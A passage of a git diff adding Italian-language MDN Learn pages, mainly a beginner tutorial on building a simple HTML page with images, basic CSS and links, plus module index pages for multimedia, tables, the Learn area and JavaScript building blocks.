+ <dd>Ci sono altri tipi di multimedialità da considerare, ma è logico cominciare con l'umile elemento {{htmlelement("img")}}, usato per inserire una semplice immagine in una pagina web. In questo articolo vedremo come usarlo in profondità, a cominciare dalle basi, annotandolo con didascalie grazie all'elemento {{htmlelement("figure")}}, e come si relaziona con le immagini di sfondo CSS.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenuti video e audio</a></dt>
+ <dd>In seguito, vedremo come usare gli elemeti HTML5 {{htmlelement("video")}} e {{htmlelement("audio")}} per inserire video e audio nelle nostre pagine, a cominciare dalle basi, fornendo l'accesso a differenti formati di file per differenti browser, aggiungendo didascalie e sottotitoli, e come aggiungere le alternative per browser più vecchi.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">Da &lt;object&gt; a &lt;iframe&gt; — altre tecnologie di integrazione</a></dt>
+ <dd>A questo punto ci piacerebbe fare qualche passo di lato, dando un'occhiata ad una coppia di elementi che ti permettono di integrare un'ampia varietà di tipi di contenuti nella tua pagina web: gli elementi {{htmlelement("iframe")}}, {{htmlelement("embed")}} e {{htmlelement("object")}}. Gli <code>&lt;iframe&gt;</code> servono ad integrare altre pagine web, e gli altri due ti permettono di integrare PDF, SVG e anche Flash — una tecnologia sulla via del disuso, ma che ancora vedi in maniera semi-regolare.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Aggiungere grafiche vettoriali al Web</a></dt>
+ <dd>Le grafiche vettoriali possono essere molto utili in certe situazioni. A differenza dei regolari formati come PNG/JPG, esse non si distorcono/pixellano quando aumenti lo zoom — possono rimanere armoniose quando scalate. Questo articolo introduce cosa sono le grafiche vettoriali e come includere il popolare formato {{glossary("SVG")}} nelle pagine web.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Immagini reattive</a></dt>
+ <dd>Con così tanti tipi di dispositivi differenti in grado ora di navigare il Web — dai telefoni mobili ai computer da scrivania — un concetto essenziale per padroneggiare il moderno mondo web è il disegno reattivo (responsive design). Questo si riferisce alla creazione di pagine web che possono automaticamente cambiare le loro caratteristiche per adattarsi a differenti dimensioni dello schermo, risoluzioni, ecc. Questo sarà visto più in dettaglio nel successivo modulo CSS, ma per il momento vedremo gli strumenti a disposizione dell'HTML per creare immagini reattive, incluso l'elemento {{htmlelement("picture")}}.</dd>
+</dl>
+
+<h2 id="Valutazioni">Valutazioni</h2>
+
+<p>Le seguenti valutazioni testeranno il tuo apprendimento delle basi dell'HTML viste nelle guide qui sopra.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Splash page di Mozilla</a></dt>
+ <dd>In questa valutazione, noi testeremo la tua conoscenza di alcune delle tecniche discusse negli articoli di questo modulo, portandoti ad aggiungere alcuni video e immagini alla stravagante splash page tutta riguardo Mozilla!</dd>
+</dl>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">Aggiungi una hitmap sulla parte superiore di una immagine</a></dt>
+ <dd>Le mappe di immagini forniscono un meccanismo per collegare differenti parti di una immagine a differenti posti (pensa ad una mappa, che ti rimanda ad ulteriori informazioni riguardo ciascun differente Paese quando gli clicchi sopra). Questa tecnica può qualche volta essere utile.</dd>
+ <dt><a href="https://teach.mozilla.org/activities/web-lit-basics-two/">Letteratura base sul Web 2</a></dt>
+ <dd>
+ <p>Un eccellente corso della fondazione Mozilla, che esplora e testa alcune delle capacità trattate nel modulo <em>Multimedialità e incorporamento</em>. Immergiti più in profondità nelle nozioni fondamentali sulla composizione di pagine web, disegno per l'accessibilità, condivisione risorse, uso di media online e lavoro libero.</p>
+ </dd>
+</dl>
diff --git a/files/it/learn/html/scrivi_una_semplice_pagina_in_html/index.html b/files/it/learn/html/scrivi_una_semplice_pagina_in_html/index.html
new file mode 100644
index 0000000000..9c3f5af2c4
--- /dev/null
+++ b/files/it/learn/html/scrivi_una_semplice_pagina_in_html/index.html
@@ -0,0 +1,276 @@
+---
+title: Scrivi una semplice pagina in HTML
+slug: Learn/HTML/Scrivi_una_semplice_pagina_in_HTML
+tags:
+  - Guide
+  - HTML
+  - Principianti
+  - Web Development
+translation_of: Learn/Getting_started_with_the_web
+---
+<div class="summary">
+<p>In questo articolo impareremo come creare una semplice pagina web con il {{Glossary("HTML")}}.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Hai bisogno di  <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">un editore di testo</a> e di sapere <a href="/en-US/docs/Learn/Open_a_file_in_a_browser">come aprire un file in un browser</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Creare una pagina web che puoi visualizzare con il browser.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>La semplice pagina web è solo un documento {{Glossary("HTML")}}.Le uniche cose del quale hai bisogno sono un documento HTML valido sul tuo computer e un web browser.Vediamo come usare HTML {{Glossary("Tag","tags")}} e potrai essere in grado di vedere la pagina che hai creato nel browser.</p>
+
+<h2 id="Apprendimento_attivo">Apprendimento attivo</h2>
+
+<p>Prima di tutto accertiamoci di avere un editore di testo che sia comodo e un web browser funzionante. Praticamente qualsiasi editore di testo può farlo, ad esempio Notepad in Windows o TextEdit sul Mac, ma assicurati di avere creato un semplice documento di testo (solo caratteri senza alcun supporto di formattazione). Se vuoi usare TextEdit sul MAc scegli "Make Plain Text" dal menu "Format.</p>
+
+<h3 id="Primo_passo_Un_file">Primo passo: Un file</h3>
+
+<p>una singola pagina web è fatta (almeno) da un file HTML, così inziamo a creare una di quelle che lo comporranno. Apri il tuo editore di testo e crea un nuovo file di testo poi scrivi qualcosa come nell'esempio:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Hi there&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is a page
+  a simple page
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Se vuoi puoi apportare delle modifiche rispetto all'esempio sentiti libero di aggiungere o cambiare il testo nel body o nel title e poi salva il file. Assicurati in fine di dare un nome al file con estensione ".html". Per esempio, potresti nominarla "my_page.html".</p>
+
+<p>Adesso dovresti avere un file sul tuo computer che assomiglia a questo esempio nella cartella (lla somiglianza dipende dal tuo sistema opertivo):</p>
+
+<p><img alt="Screenshot of a file explorer with a html file for local test" src="https://mdn.mozillademos.org/files/8383/Capture%20du%202014-08-20%2021:20:25.png" style="height: 72px; width: 365px;"></p>
+
+<p>Facendo un doppio click sul file si aprirà nel browser,  per aprire il file direttamente sull' editore di testo al fine di modificarlo puoi: fare click con il tasto destro e scegliere di aprire il documento nell'editore di testo; oppure trascinare il documento all'interno dell'editore od aprire il documento scegliendo "Open" dal menu dell'editore "File". La somiglianza all'esempio che vedi sotto dipende dall'editore che utilizzi:</p>
+
+<p><img alt="Screenshot of a file explorer with a html file for local test" src="https://mdn.mozillademos.org/files/8385/Capture%20du%202014-08-20%2021:24:06.png" style="height: 180px; width: 311px;"></p>
+
+<h3 id="Secondo_passo_Un_web_browser">Secondo passo: Un web browser</h3>
+
+<p>All'interno del file explorer (come Windows Explorer, Finder sul Mac, o Files in Ubuntu), trovi il documento che hai appena creato e lo apri con il browser (fai doppio click o lo trascini nell'icona del browser). Adesso il browser mostra il testo dal file HTML che hai creato e il tab mostra il titolo della pagina il tutto potrebbe assomigliare all'esempio che visualizzi sotto ,fermo restando che la visalizzazione cambia a seconda della piattaforma e del browser da te utilizzati:</p>
+
+<p><img alt="Screenshot of a file explorer with a html file for local test" src="https://mdn.mozillademos.org/files/8387/Capture%20du%202014-08-20%2021:28:22.png" style="border-style: solid; border-width: 1px; height: 111px; width: 513px;"></p>
+
+<p>Come puoi vedere il contenuto del tag body corrisponde al contenuto della pagina e il contenuto del tag title da te scelto è mostrato nel tab, ma le due linee di testo non sono scritte su due differente ma su un'unica linea. Interessante.</p>
+
+<h3 id="Terzo_passo_Sperimenta_e_impara">Terzo passo: Sperimenta e impara</h3>
+
+<p>Prova a rimuovere parti dell' HTML e guarda cosa accade. Alcuni cambiamenti ti permetteranno di mostrare la pagina  nel browser ed altri daranno risultati sbagliati.Ciò Accade perchè il browser cerca di compensare alcuni errori comuni.</p>
+
+<p>La prima cosa da notare è che l'unica cosa che vedi sullo schermo è il testo che non è all'interno delle parentesi angolate (altrimenti conosciute come i simboli di maggiore e minore ma che chiamiamo parentesi angolate quando parliamo di HTML). Ogni cosa all'interno delle parentesi angolate è un{{Glossary("tag")}}, che rappresenta una struttura o scheletro della pagina web.Tutti i contenuti mostrati sono racchiusi tra i tags.</p>
+
+<p>Il nostro esempio di pagina HTML ha due grandi sezioni: un intestazione contenuta all'interno {{HTMLElement("head")}} elemento blocco "block", ed un corpo, contenuto {{HTMLElement("body")}}. Il corpo contiene il testo mostrato all'interno della pagina web.</p>
+
+<p>Ogni tag ha un significato specifico e può essere usato di conseguenza. Per esempio {{HTMLElement("title")}} è usato per indicare il titolo della pagina che può differire dal nome del file, nota che anche che i tag possono presentaresi all'interno del contenuto di altri tags. L'{{HTMLElement("title")}} è contenuto all'interno {{HTMLElement("head")}}, per esempio.</p>
+
+<p>Se vuoi inserire qualcosa come un immagine hai bisogno di aggiungere un tag per l'immagine e la stessa immagine all'interno.Per esempio:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Hi there&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is a page
+  a simple page
+  &lt;img src="unicorn_pic.png" alt="Unicorn picture :)" /&gt;
+  now with a unicorn
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Modifica il file per includere il tag {{HTMLElement("img")}} come questo:</p>
+
+<pre class="brush: html">&lt;img src="unicorn_pic.png" alt="Unicorn picture :)" /&gt;</pre>
+
+<p>Può essere inserito in qualsiasi parte {{HTMLElement("body")}} non dimenticare di salvare i cambiamenti apportati alla pagina!</p>
+
+<p>Poi inserisci un file nominato "unicorn_pic.png" nella stessa cartella del documento HTML.Quando avrai aggiornato la finestra del browser o riaperto il documento, vedrai i cambiamenti di contenuto, completa con unicorno!(non dimenticare di salvare la pagina).</p>
+
+<p><img alt="Original file for the unicorn image" src="https://mdn.mozillademos.org/files/8495/unicorn_pic.png" style="height: 300px; width: 242px;"></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Puoi prendere una copia dell'immagine dell'unicorno per usarla nei tuoi sperimenti cliccando con il tasto destro sopra l'immagine e scegliendo "Save image As..." dal menu che appare.</p>
+</div>
+
+<p>I documenti necessari perchè questa pagina funzioni adesso assomigliano a qualcosa di questo genere nel desktop:</p>
+
+<p><img alt="Screenshot of the explorer with 2 files : a html file and a picture file" src="https://mdn.mozillademos.org/files/8389/Capture%20du%202014-08-20%2021:37:14.png" style="height: 69px; width: 405px;"></p>
+
+<p>Il risultato mostrato nel browser è questo:</p>
+
+<p><img alt="Screenshot for the example with a picture" src="https://mdn.mozillademos.org/files/8499/Capture%20du%202014-09-04%2021:39:16.png" style="border-style: solid; border-width: 1px; height: 404px; width: 664px;"></p>
+
+<p>Come hai notato il tag{{HTMLElement("img")}} ha<strong> {{Glossary("attribute","attributes")}} </strong>che dà informazioni addizionali necessarie a costruire l'oggetto richiesto in questo caso il nome del file dell'immagine da mostrare e il testo alternativo qualora l'immagine non possa essere caricata.</p>
+
+<p>Questo è un esempio di come aggiungere un'immagine alla pagina, ma puoi usare una tecnica similare per aggiungere musica, video e molto altro tutto usando nient'altro che l'HTML.</p>
+
+<h2 id="Più_in_profondità">Più in profondità</h2>
+
+<h3 id="Questa_non_è_una_pagina_web_molto_carina">Questa non è una pagina web molto carina</h3>
+
+<p>Come avrai notato questa pagina non è certo un miracolo di design e bellezza, questo perchè HTML è tutto ciò che riguarda il contenuto e ciò che il contenuto significa (in termini del suo contesto e la relazione tra i blocchi di contenuto), piuttosto che design.</p>
+
+<p>{{Glossary("CSS")}} ti permette di fare contenuti scintillanti aggiungendo layout, colore, font e così via. Un puro HTML è buono abbastanza per costruire semplici pagine web, ma pagine più complesse (o sebbene semplici con un design accattivante) hanno bisogno del CSS e possibilmente  {{Glossary("JavaScript")}}. HTML costruisce il contenuto, CSS gli stili e JavaScript rende il contenuto dinamico.</p>
+
+<p>Sperimentiamo un poco con il CSS trasformando il testo contenuto nel tag body da nero a blue:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Hi there&lt;/title&gt;
+  &lt;style&gt;
+    body {
+      color: blue;
+    }
+  &lt;/style&gt;
+&lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;This is a some blue text&lt;/p&gt;
+    &lt;img src="unicorn_pic.png" alt="Unicorn picture :)" /&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Nota l'aggiunta{{HTMLElement("style")}} alla pagina all'interno{{HTMLElement("head")}}. Questo specifica quale caratteristica CSS sarà da applicare al testo contenuto nel tag body.</p>
+
+<p>Vuoi il testo sottolineato? prova ad aggiungere la regola "text-decoration: underline;" allo style:</p>
+
+<pre class="brush: css">body {
+  color: blue;
+  text-decoration: underline;
+}</pre>
+
+<p>Vuoi che il tuo testo abbia una misura ben precisa?Prova aggiungendo "font-size: 42px;" come in esempio:</p>
+
+<pre class="brush: css">body {
+  color: blue;
+  text-decoration: underline;
+  font-size: 42px;
+}</pre>
+
+<p>Il risultato finale sarà questo:</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Hi there&lt;/title&gt;
+  &lt;style&gt;
+  body {
+    color: blue;
+    text-decoration: underline;
+    font-size: 42px;
+  }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;This is a blue underlined big text&lt;/p&gt;
+  &lt;img src="unicorn_pic.png" alt="Unicorn picture :)" /&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>e se salvi la pagina nel tuo editore e poi riaggiorni il browser la pagina che vedrai sarà la seguente:</p>
+
+<p><img alt="Screenshot of the browser with the page with some CSS" src="https://mdn.mozillademos.org/files/8497/Capture%20du%202014-09-04%2021:40:18.png" style="border-style: solid; border-width: 1px; height: 494px; width: 743px;"></p>
+
+<h3 id="Andiamo_alla_seconda_pagina">Andiamo alla seconda pagina</h3>
+
+<p>Quando navighi nel Web spesso incontri {{Glossary("hyperlink","links")}}, il modo più utile per navigare da una pagina all'altra. Dal momento in cui l'HTML si occupa del contenuto e i link sono il modulo del contenuto, puoi creare collegamenti tra le pagine utilizzando soltanto l'HTML.</p>
+
+<h4 id="Collega_due_pagine_locali">Collega due pagine locali</h4>
+
+<p>Per questo esercizio abbiamo bisogno di creare un secondo documento HTML sul computer aggiungiamo un link ad ogni pagina così possiamo passare velocemente avanti e indietro tra esse.</p>
+
+<p>Nel primo documento possiamo tenere la stessa struttura di prima, la cosa importante è aggiungere un nuovo tag {{HTMLElement("a")}}, così:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Page 1 to ground control&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is page 1.
+  &lt;a href="page2.html" title="to page 2"&gt;What is going on on page 2?&lt;/a&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La seconda pagina avrà un link che ci fa tornare alla prima pagina:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Page 2 :)&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is a page 2.
+  &lt;a href="page1.html" title="to page 1"&gt;<span>Want to go back to page 1? Click here</span>&lt;/a&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div class="note">
+<p><strong>Nota:</strong>Assicurati che il nome del file {{HTMLElement("a")}} tag con attributo href sia lo stesso nome del documento creato nel tuo computer.</p>
+</div>
+
+<p>Puoi adesso navigare tra i due documenti HTML apri la page 1 nel browser e fai click nel link per aprire la page 2 e viceversa. Puoi inoltre testare il bottone "previous" nel tuo browser esso dovrebbe portarti all'ultima pagina visitata.</p>
+
+<p>Il documento principale dovrebbe avere i due documenti nella stessa cartella, in questa maniera:</p>
+
+<p><img alt="Screenshot of the file explorer with two HTML documents in one directory/folder" src="https://mdn.mozillademos.org/files/8395/Capture%20du%202014-08-20%2022:06:05.png" style="height: 92px; width: 595px;"></p>
+
+<p>La Page 1 sarà così visualizzata nel browser:</p>
+
+<p><img alt="Screenshot of a file explorer with a html file for local test" src="https://mdn.mozillademos.org/files/8397/Capture%20du%202014-08-20%2022:11:31.png" style="border-style: solid; border-width: 1px; height: 114px; width: 365px;"></p>
+
+<p>e la Page 2 sarà così visualizzata nel browser dopo aver fatto click sul link di Page 1:</p>
+
+<p><img alt="Screenshot of the 2nd page of the 2 pages example in the browser" src="https://mdn.mozillademos.org/files/8401/Capture%20du%202014-08-20%2022:15:17.png" style="border-style: solid; border-width: 1px; height: 116px; width: 366px;"></p>
+
+<div class="note">
+<p><strong>Nota:</strong>Il link che torna alla page 1 è violetto perchè il browser "sa"  che in precedenza avevamo visitato la Page 1</p>
+</div>
+
+<p>Se vuoi puoi fare la prova creando più pagine o passare alla prossima sezione per portare tutto questo al lvello successivo.</p>
+
+<h4 id="Collegamento_ad_un_altra_pagina_web">Collegamento ad un altra pagina web</h4>
+
+<p>In questo esercizio aggiungiamo un link al documento HTML così che il lettore possa velocemente prendere alcune pagine utili nel Web. Puoi collegare qualsiasi cosa sia disponibile nel Web pubblico, prova a creare un collegamento con Wikipedia:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;My page&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  One day,...Unicorns are great...See you.
+  &lt;a href="https://en.wikipedia.org/wiki/Unicorn" title="Unicorn page on Wikipedia"&gt;<span>Want to go know more about unicorns? Wikipedia is right here</span>&lt;/a&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Potrebbe più o meno assomigliare a questo nel browser:</p>
+
+<p><img alt="Screenshot of the example page with a link to Wikipedia in the browser" src="https://mdn.mozillademos.org/files/8403/Capture%20du%202014-08-20%2022:22:24.png" style="height: 158px; width: 861px;"></p>
+
+<p>Passando il puntatore del mouse sopra il link vedrai l'attributo{{htmlattrxref("title")}} mostrato in un <strong>tooltip.</strong>Questo può essere usato per dare maggiori informazioni sul link così che l'utente possa fare una scelta formazioni tra il cliccare su esso o meno.</p>
+
+<div class="note">
+<p><strong>Ricorda:</strong> Ogni volta che modifichi la pagina non dimenticare di salvare il documento sull'editor e di aggiornare la pagina sul browser così che possa vedere i cambiamenti fatti.</p>
+</div>
+
+<h2 id="Prossimi_passi">Prossimi passi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/HTML_tags">Come usare un tag HTML</a>: Ci sono molti tag in HTML qui abbiamo visto solo i base, puoi trovare delle ulteriori risorse qui.</li>
+ <li><a href="/en-US/docs/Learn/Anatomy_of_a_web_page">Anatomia della pagina web</a>: HTML ha alcune regole e una pagina può avere molto contenuto questo può aiutare a comprendere pagine più complesse come quelle usate in alcuni dei più famosi siti nel Web!</li>
+ <li><a href="/en-US/docs/Learn/Understanding_links_on_the_web">Comprendere i link</a>: Abbiamo usato esempi molto semplici con i link questo articolo è per te se vuoi capire perchè i "links" sono l'origine del nome del "Web".</li>
+ <li><a href="/en-US/docs/Learn/Using_images">Usare le immagini</a> and <a href="/en-US/docs/Learn/Adding_audio_and_video">aggiungere audio e video</a> sono utili per aggiungere del contenuto multimediale con il semplice HTML.</li>
+</ul>
diff --git a/files/it/learn/html/tables/index.html b/files/it/learn/html/tables/index.html
new file mode 100644
index 0000000000..af7fae7ac0
--- /dev/null
+++ b/files/it/learn/html/tables/index.html
@@ -0,0 +1,45 @@
+---
+title: HTML Tables
+slug: Learn/HTML/Tables
+tags:
+  - Article
+  - Beginner
+  - CodingScripting
+  - Guide
+  - HTML
+  - Landing
+  - Module
+  - NeedsTranslation
+  - Tables
+  - TopicStub
+translation_of: Learn/HTML/Tables
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">A very common task in HTML is structuring tabular data, and it has a number of elements and attributes for just this purpose. Coupled with a little <a href="/en-US/docs/Learn/CSS">CSS</a> for styling, HTML makes it easy to display tables of information on the web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team. This module takes you through all you need to know about structuring tabular data using HTML.</p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>Before starting this module, you should already have covered the basics of HTML — see <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p>This module contains the following articles:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Tables/Basics">HTML table basics</a></dt>
+ <dd>This article gets you started with HTML tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Tables/Advanced">HTML table advanced features and accessibility</a></dt>
+ <dd>In the second article in this module, we look at some more advanced features of HTML tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.</dd>
+</dl>
+
+<h2 id="Assessments">Assessments</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Tables/Structuring_planet_data">Structuring planet data</a></dt>
+ <dd>In our table assessment, we provide you with some data on the planets in our solar system, and get you to structure it into an HTML table.</dd>
+</dl>
diff --git a/files/it/learn/index.html b/files/it/learn/index.html
new file mode 100644
index 0000000000..c301d38b81
--- /dev/null
+++ b/files/it/learn/index.html
@@ -0,0 +1,83 @@
+---
+title: Impara il web
+slug: Learn
+tags:
+  - Indice(2)
+  - Principiante
+  - Web
+  - imparare
+translation_of: Learn
+---
+<div class="summary">
+<p>Vuoi creare tuoi siti web e tue applicazioni web? Sei nel posto giusto!</p>
+</div>
+
+<p>C'è molto da imparare sullo sviluppo e sul web design, ma non preoccuparti. Sia che tu abbia appena cominciato a programmare o che tu voglia diventare un programmatore professionista a tutti gli effetti, siamo qui per aiutarti.</p>
+
+<h2 id="Come_cominciare">Come cominciare</h2>
+
+<p>Vogliamo conoscerti meglio. In quale descrizione ti riconosci di più?</p>
+
+<ul class="card-grid">
+ <li><span>Sono un principiante</span>
+
+  <p>Benvenuto! Il miglior luogo da cui partire sono la nostra serie di guide <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web">"Cominciare con il web"</a>. Le guide forniscono tutte le basi per farti cominciare con lo sviluppo web.</p>
+ </li>
+ <li><span>Conosco il mondo del web</span>
+  <p>Molto bene! In questo caso ti suggeriamo di scavare più a fondo nelle tecnologie, fino al cuore del Web: <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a>, e <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript">JavaScript</a></p>
+ </li>
+ <li><span>Ho padronanza con il web</span>
+  <p>Fantastico! In questo caso potresti essere interessato nell'esplorare le nostre <a href="https://developer.mozilla.org/en-US/docs/Web/Guide">Guide</a> avanzate e i <a href="https://developer.mozilla.org/en-US/docs/Web/Tutorials">Tutorials</a>. Dovresti anche considerare di <a href="https://developer.mozilla.org/en-US/Learn/How_to_contribute">contribuire nell'Area di Apprendimento</a>. ;)</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota: </strong>In futuro stiamo pensando di pubblicare più strumenti per facilitarti l'apprendimento, per esempio per programmatori professionisti che stanno cercando di imparare tecniche avanzate, sviluppatori che sono nuovi nel mondo del Web, o per persone che vogliono imparare tecniche di design.</p>
+</div>
+
+<p>{{LearnBox({"title":"Quick learning: Vocabulary"})}}</p>
+
+<h2 id="Imparare_con_altre_persone">Imparare con altre persone</h2>
+
+<p>Se hai una domanda o stai ancora pensando cosa fare, Mozilla è una comunità globale di entusiasti del Web, inclusi mentori e insegnanti che sono lieti di aiutarti. Entra in contatto con loro attraverso WebMaker:</p>
+
+<ul>
+ <li>Incontra e parla con i mentori e gli insegnanti al <a href="http://discourse.webmaker.org/">forum di discussione</a>.</li>
+ <li><a href="https://events.webmaker.org/">Trova eventi </a>e impara di più sul web con persone fantastiche.</li>
+</ul>
+
+<h2 id="Condividi_la_conoscenza">Condividi la conoscenza</h2>
+
+<p>Questa intera Area di Apprendimento è stata costruita attraverso i nostri collaboratori. Abbiamo bisogno di te nella nostra squadra, che tu sia un principiante, un insegnante un esperto sviluppatore web. Se sei interessato, dai un occhio a <a href="https://developer.mozilla.org/en-US/Learn/How_to_contribute">come puoi aiutare</a>, e ti incoraggiamo di contattarci nella nostra <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">mailing list </a>o nel nostro <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Get_into_IRC">IRC channel</a>. :)</p>
+
+<h2 id="Sotto_categorie">Sotto categorie</h2>
+
+<ol>
+ <li><a href="/it/docs/Learn/Getting_started_with_the_web">Introduzione al web</a></li>
+ <li><a href="/it/docs/Learn">Impara il web</a></li>
+ <li><a href="/it/docs/Learn/Common_questions">Domande frequenti</a></li>
+ <li><a href="#">Learn technologies</a>
+  <ol>
+   <li><a href="/it/docs/Learn/HTML">HTML</a></li>
+   <li><a href="/it/docs/Learn/CSS">CSS</a></li>
+   <li><a href="/it/docs/Learn/JavaScript">JavaScript</a></li>
+   <li><a href="/it/docs/Learn/Drafts/Python">Python</a></li>
+  </ol>
+ </li>
+ <li><a href="/it/docs/Web/Tutorials">Tutorial</a>
+  <ol>
+   <li><a href="/en-US/Learn/tutorial/How_to_build_a_web_site">How to build a web site?</a></li>
+   <li><a href="/en-US/Learn/tutorial/Information_Security_Basics">Information security basics</a></li>
+  </ol>
+ </li>
+ <li><a href="http://weblitmapper.webmakerprototypes.org/">Learning resources</a></li>
+ <li><a href="/en-US/Learn/help">Getting help</a>
+  <ol>
+   <li><a href="/en-US/Learn/FAQ">FAQ</a></li>
+   <li><a href="/en-US/docs/Glossary">Glossary</a></li>
+   <li><a href="http://discourse.webmakerprototypes.org/" rel="external">Ask your questions</a></li>
+   <li><a href="https://events.webmaker.org/" rel="external">Meet teachers and mentors</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/Learn/How_to_contribute">How to contribute</a></li>
+</ol>
diff --git a/files/it/learn/javascript/building_blocks/index.html b/files/it/learn/javascript/building_blocks/index.html
new file mode 100644
index 0000000000..9b7bed94d3
--- /dev/null
+++ b/files/it/learn/javascript/building_blocks/index.html
@@ -0,0 +1,59 @@
+---
+title: JavaScript building blocks
+slug: Learn/JavaScript/Building_blocks
+tags:
+  - Article
+  - Assessment
+  - Beginner
+  - CodingScripting
+  - Conditionals
+  - Functions
+  - Guide
+  - Introduction
+  - JavaScript
+  - Landing
+  - Loops
+  - Module
+  - NeedsTranslation
+  - TopicStub
+  - events
+  - 'l10n:priority'
+translation_of: Learn/JavaScript/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>In questo modulo, continueremo con la copertura di tutte le funzionalità fondamentali di Javascript, rivolgendo la nostra attenzione ai tipi di blocco più comuni come istruzioni condizionali, loop, funzioni ed eventi. Avrai già visto queste cose nel corso, ma solo di passaggio -- qui ne discuteremo esplicitamente.</div>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Prima di iniziare questo modulo, dovresti avere un po' di familiarità con le basi di <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML</a> e <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS</a>, e dovresti anche aver lavorato nei moduli precedenti, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se stai lavorantdo su un computer/tablet/altri dispositivi dove non hai la possibilità di creare i tuoi file, potresti provare (la maggior parte) degli esempi di codice in un programma di coding online come <a href="http://jsbin.com/">JSBin</a> opp <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Prendi decisioni nel tuo codice — conditionals</a></dt>
+ <dd>In ogni linguaggio di programmazione, il codice necessita di prendere decisioni ed eseguire azioni di conseguenza a seconda dei diversi input. Per esempio, in un gioco, se le vite del giocatore sono 0, allora la partita termina. In un'app meteo, se viene aperta al mattino, verrà mostrata una figura dell'alba e se è notte una relativa a stelle e luna. In questo articolo esploreremo come funzionano le strutture condizionali in JavaScript</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Cicli di codice (loop)</a></dt>
